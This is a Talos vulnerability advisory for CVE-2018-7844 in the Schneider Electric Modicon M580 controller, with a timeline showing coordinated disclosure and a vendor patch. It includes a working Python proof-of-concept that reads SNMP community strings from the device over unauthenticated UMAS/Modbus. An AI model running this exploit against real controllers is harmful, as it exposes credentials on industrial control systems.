Talos Vulnerability Report

TALOS-2018-0739

Schneider Electric Modicon M580 UMAS read memory block information disclosure vulnerability

June 10, 2019
CVE Number

CVE-2018-7844

Summary

An exploitable information disclosure vulnerability exists in the UMAS read memory block function of the Schneider Electric Modicon M580 programmable automation controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to return blocks of memory, resulting in the disclosure of plaintext read, write and trap SNMP community strings. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-200: Information Exposure

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.”

The device supports a UMAS command that allows the user to read an arbitrary block of data from its programmed strategy, indicated by the use of the function code 0x20. When this command is used against block number 0x48, a large block of data is returned, including the read, write and trap SNMP community strings.

The structure of the MEMORY_BLOCK_READ command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D |   E   |   F   |   G   |   H   |
  +---+---+---+---+---+---+---+---+---+---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x20)
D --> Unknown
E --> Block Number         (0x48) 
F --> Offset               (0x02FC)
G --> Unknown 
H --> Size                 (0x000F)

Exploit Proof of Concept

import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
 
def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
    else:
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    sock.send(msg)
    if wait_for_response:
        resp = sock.recv(2048)
    return resp
 
def main():
    rhost = "192.168.10.1"
    rport = 502
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
 
    mbtcp_fnc = "\x5a"
    session   = "\x00"
    umas_fnc  = "\x20"
    unknown1  = "\x00"
    block_num = "\x48\x00"
    offset    = "\xfc\x02"
    unknown2  = "\x00\x00"
    size      = "\x30\x00"
    umas = "%s%s%s%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown1, block_num, offset, unknown2, size)
    res = send_message(s, umas)
 
    comm_string_size = 16
    write_offset = 13
    read_offset = write_offset + comm_string_size
    trap_offset = read_offset + comm_string_size
 
    write = res[write_offset:read_offset]
    read = res[read_offset:trap_offset]
    trap = res[trap_offset:trap_offset+comm_string_size]
     
    print "Write:\t%s" % (write)
    print "Read:\t%s" % (read)
    print "Trap:\t%s" % (trap)
 
    # clean up
    s.close()
 
if __name__ == '__main__':
    main()

Timeline

2018-12-10 - Initial contact
2018-12-17 - Vendor acknowledged
2019-01-01 - 30 day follow up
2019-05-14 - Vendor Patched
2019-06-10 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.